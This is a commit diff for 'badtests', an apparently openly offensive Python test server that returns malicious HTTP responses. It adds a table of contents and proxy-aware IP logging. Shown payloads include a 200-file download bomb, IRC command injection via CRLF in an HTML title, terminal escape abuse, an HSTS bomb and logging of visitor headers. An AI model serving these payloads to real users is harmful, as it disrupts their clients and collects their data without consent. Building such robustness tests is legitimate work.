Compare commits

...
2 Commits
Author SHA1 Message Date
acidvegas b6b5e1c17c fixed ip parsing and logs page 2026-02-14 01:46:47 -05:00
acidvegas 9d16df6053 Updated home with table of contents 2026-02-14 01:20:49 -05:00
+48 -23
View File
@@ -166,6 +166,13 @@ h1{color:#f85149;font-size:24px;margin-bottom:4px}
h1 span{font-size:14px;color:#484f58;font-weight:normal}
h2{color:#58a6ff;font-size:18px;margin:30px 0 12px;padding-bottom:6px;border-bottom:1px solid #21262d}
.desc{color:#8b949e;font-size:13px;margin-bottom:20px}
.toc{background:#161b22;border:1px solid #30363d;border-radius:6px;padding:16px 20px;margin:20px 0}
.toc-title{color:#58a6ff;font-size:15px;margin-bottom:8px;font-weight:bold}
.toc ul{list-style:none;columns:2;column-gap:24px}
.toc li{padding:2px 0}
.toc a{color:#c9d1d9;text-decoration:none;font-size:13px}
.toc a:hover{color:#58a6ff;text-decoration:underline}
.toc .count{color:#484f58;font-size:12px}
.card{background:#161b22;border:1px solid #30363d;border-radius:6px;padding:16px;margin-bottom:16px}
.card:hover{border-color:#58a6ff}
.card h3{margin:0 0 4px}
@@ -181,6 +188,8 @@ code{color:#e6edf3}
.special a{color:#f85149;font-weight:bold;text-decoration:none}
.special a:hover{text-decoration:underline}
footer{margin-top:40px;padding-top:16px;border-top:1px solid #21262d;color:#484f58;font-size:12px}
footer a{color:#484f58;text-decoration:none}
footer a:hover{color:#58a6ff;text-decoration:underline}
</style>
</head><body>
<h1>☠ badtests <span>— malicious HTTP response server</span></h1>
@@ -188,11 +197,21 @@ footer{margin-top:40px;padding-top:16px;border-top:1px solid #21262d;color:#484f
Click any endpoint to hit it directly.</p>
<div class="special">📋 <a href="/logs">/logs</a> — View all visitor IPs, user agents, headers, and timestamps</div>
'''
# Build table of contents
h += '<div class="toc"><div class="toc-title">Table of Contents</div><ul>\n'
for cat_name, prefix in CATEGORIES:
tests_in_cat = [t for t in TESTS if t[0].startswith(prefix)]
if not tests_in_cat:
continue
h += f'<h2>{html.escape(cat_name)}</h2>\n'
anchor = cat_name.lower().replace(' ', '-').replace('/', '-')
h += f'<li><a href="#{html.escape(anchor)}">{html.escape(cat_name)}</a> <span class="count">({len(tests_in_cat)})</span></li>\n'
h += '</ul></div>\n'
for cat_name, prefix in CATEGORIES:
tests_in_cat = [t for t in TESTS if t[0].startswith(prefix)]
if not tests_in_cat:
continue
anchor = cat_name.lower().replace(' ', '-').replace('/', '-')
h += f'<h2 id="{html.escape(anchor)}">{html.escape(cat_name)}</h2>\n'
for path, title, desc in tests_in_cat:
crit = '🚨' in desc
warn = '⚠️' in desc
@@ -209,7 +228,7 @@ Click any endpoint to hit it directly.</p>
'''
h += f'''<footer>
☠ badtests — {len(TESTS)} endpoints on port {PORT}<br>
python3 badtests.py to start
made by <a href="https://git.supernets.org/acidvegas/badtests">acidvegas</a>
</footer>
</body></html>'''
return h.encode()
@@ -233,8 +252,8 @@ JS_DOWNLOAD = b'''<!DOCTYPE html><html><head><title>Download bomb</title></head>
<h1>Triggering 200 simultaneous downloads...</h1>
<script>
for(let i=0;i<200;i++){let a=document.createElement('a');
a.href=URL.createObjectURL(new Blob(['MALSERV_PAYLOAD_'+i+'_'+Math.random()]));
a.download='malserv_payload_'+i+'.txt';document.body.appendChild(a);a.click();}
a.href=URL.createObjectURL(new Blob(['BADTESTS_PAYLOAD_'+i+'_'+Math.random()]));
a.download='badtests_payload_'+i+'.txt';document.body.appendChild(a);a.click();}
</script></body></html>'''
JS_CLIPBOARD = b'''<!DOCTYPE html><html><head><title>Clipboard hijack</title></head><body>
@@ -548,22 +567,22 @@ add('MIME Types',navigator.mimeTypes.length);
LOGS_STYLE = '''<!DOCTYPE html><html><head><meta charset="utf-8">
<title>☠ badtests — visitor logs</title>
<style>
*{margin:0;padding:0;box-sizing:border-box}
body{background:#0d1117;color:#c9d1d9;font-family:monospace;font-size:13px;padding:20px 40px}
h1{color:#f85149;margin-bottom:4px}
.sub{color:#484f58;margin-bottom:20px;font-size:12px}
table{border-collapse:collapse;width:100%}
th{text-align:left;color:#58a6ff;padding:8px;border-bottom:2px solid #30363d;position:sticky;top:0;background:#0d1117}
td{padding:6px 8px;border-bottom:1px solid #161b22;max-width:400px;overflow:hidden;text-overflow:ellipsis;white-space:nowrap}
tr:hover td{background:#161b22}
.ip{color:#7ee787}.path{color:#d2a8ff}.method{color:#d29922}.time{color:#484f58}
details{cursor:pointer}
details pre{background:#161b22;padding:8px;margin-top:4px;border-radius:4px;white-space:pre-wrap;max-height:200px;overflow:auto}
*{{margin:0;padding:0;box-sizing:border-box}}
body{{background:#0d1117;color:#c9d1d9;font-family:monospace;font-size:13px;padding:20px 40px}}
h1{{color:#f85149;margin-bottom:4px}}
.sub{{color:#484f58;margin-bottom:20px;font-size:12px}}
table{{border-collapse:collapse;width:100%}}
th{{text-align:left;color:#58a6ff;padding:8px;border-bottom:2px solid #30363d;position:sticky;top:0;background:#0d1117}}
td{{padding:6px 8px;border-bottom:1px solid #161b22;max-width:400px;overflow:hidden;text-overflow:ellipsis;white-space:nowrap}}
tr:hover td{{background:#161b22}}
.ip{{color:#7ee787}}.path{{color:#d2a8ff}}.method{{color:#d29922}}.time{{color:#484f58}}
details{{cursor:pointer}}
details pre{{background:#161b22;padding:8px;margin-top:4px;border-radius:4px;white-space:pre-wrap;max-height:200px;overflow:auto}}
</style></head><body>
<h1>☠ visitor logs</h1>
<p class="sub">Recording all requests. %d entries so far. <a href="/logs" style="color:#58a6ff">Refresh</a> | <a href="/" style="color:#58a6ff">Home</a></p>
<p class="sub">Recording all requests. {count} entries so far. <a href="/logs" style="color:#58a6ff">Refresh</a> | <a href="/" style="color:#58a6ff">Home</a></p>
<table><tr><th>Time</th><th>IP</th><th>Method</th><th>Path</th><th>User-Agent</th><th>Headers</th></tr>
%s
{rows}
</table></body></html>'''
# --- MIME sniff test page (wraps the payload endpoint) ---
@@ -581,6 +600,12 @@ class Handler(http.server.BaseHTTPRequestHandler):
_index = build_index()
_routes = {t[0]: t for t in TESTS}
def _get_client_ip(self):
'''Get real client IP from reverse proxy headers, fallback to socket address.'''
return (self.headers.get('X-Real-IP')
or (self.headers.get('X-Forwarded-For', '').split(',')[0].strip())
or self.client_address[0])
def do_GET(self):
p = self.path.split('?')[0]
self._log_visit()
@@ -607,7 +632,7 @@ class Handler(http.server.BaseHTTPRequestHandler):
headers[k] = self.headers[k]
entry = {
'time': time.strftime('%Y-%m-%d %H:%M:%S'),
'ip': self.client_address[0],
'ip': self._get_client_ip(),
'method': self.command,
'path': self.path,
'ua': self.headers.get('User-Agent', ''),
@@ -630,7 +655,7 @@ class Handler(http.server.BaseHTTPRequestHandler):
<td>{html.escape(e['ua'][:80])}</td>
<td><details><summary>{len(e['headers'])} headers</summary><pre>{html.escape(hdrs_str)}</pre></details></td>
</tr>'''
page = (LOGS_STYLE % (len(VISITOR_LOG), rows)).encode()
page = LOGS_STYLE.format(count=len(VISITOR_LOG), rows=rows).encode()
self._r(200, {'Content-Type': 'text/html; charset=utf-8'}, page)
def _dispatch(self, path):
@@ -721,7 +746,7 @@ class Handler(http.server.BaseHTTPRequestHandler):
elif p == '/html-multiline-title':
self._r(200, {'Content-Type': 'text/html'}, b'<html><head><title>Line 1\nLine 2\nLine 3\nLine 4\nLine 5</title></head><body><h1>Check your tab title</h1></body></html>')
elif p == '/html-irc-title':
self._r(200, {'Content-Type': 'text/html'}, b'<html><head><title>Normal Title\r\nQUIT :Hacked by malserv\r\nPRIVMSG #channel :pwned</title></head><body><h1>IRC Injection via HTML title</h1></body></html>')
self._r(200, {'Content-Type': 'text/html'}, b'<html><head><title>Normal Title\r\nQUIT :Hacked by badtests\r\nPRIVMSG #channel :pwned</title></head><body><h1>IRC Injection via HTML title</h1></body></html>')
elif p == '/html-unicode':
chars = ''.join(chr(random.randint(0x1000, 0x3000)) for _ in range(500))
self._r(200, {'Content-Type': 'text/html; charset=utf-8'}, f'<html><head><title>{chars}</title></head><body><h1>{chars}</h1></body></html>'.encode())
@@ -730,7 +755,7 @@ class Handler(http.server.BaseHTTPRequestHandler):
# --- Terminal abuses ---
elif p == '/ansi-chaos':
a = '\033[2J\033[H'
a += '\033]0;HACKED BY MALSERV\007'
a += '\033]0;HACKED BY BADTESTS\007'
a += '\033[?25l'
for i in range(80):
row = random.randint(1, 50)
@@ -817,11 +842,11 @@ document.querySelector('text:last-of-type').textContent = 'JS EXECUTED SUCCESSFU
}, b'<html><body><h1>HSTS Bomb</h1><p>Your browser now thinks this site requires HTTPS for 31 years.</p><p>This header also applies to ALL subdomains and requests preload list inclusion.</p><p>To undo in Chrome: chrome://net-internals/#hsts</p></body></html>')
# --- Misc ---
elif p == '/misc-ipv4':
ip = self.client_address[0]
ip = self._get_client_ip()
body = f'<html><head><title>Your IP: {ip}</title></head><body style="background:#0d1117;color:#c9d1d9;font-family:monospace;padding:40px"><h1 style="color:#7ee787">{ip}</h1></body></html>'
self._r(200, {'Content-Type': 'text/html'}, body.encode())
elif p == '/misc-ipv6':
ip = self.client_address[0]
ip = self._get_client_ip()
body = f'<html><head><title>Your IP: {ip}</title></head><body style="background:#0d1117;color:#c9d1d9;font-family:monospace;padding:40px"><h1 style="color:#7ee787">{ip}</h1><p>For true IPv6, connect to [::1]:{PORT}</p></body></html>'
self._r(200, {'Content-Type': 'text/html'}, body.encode())
elif p == '/fingerprint':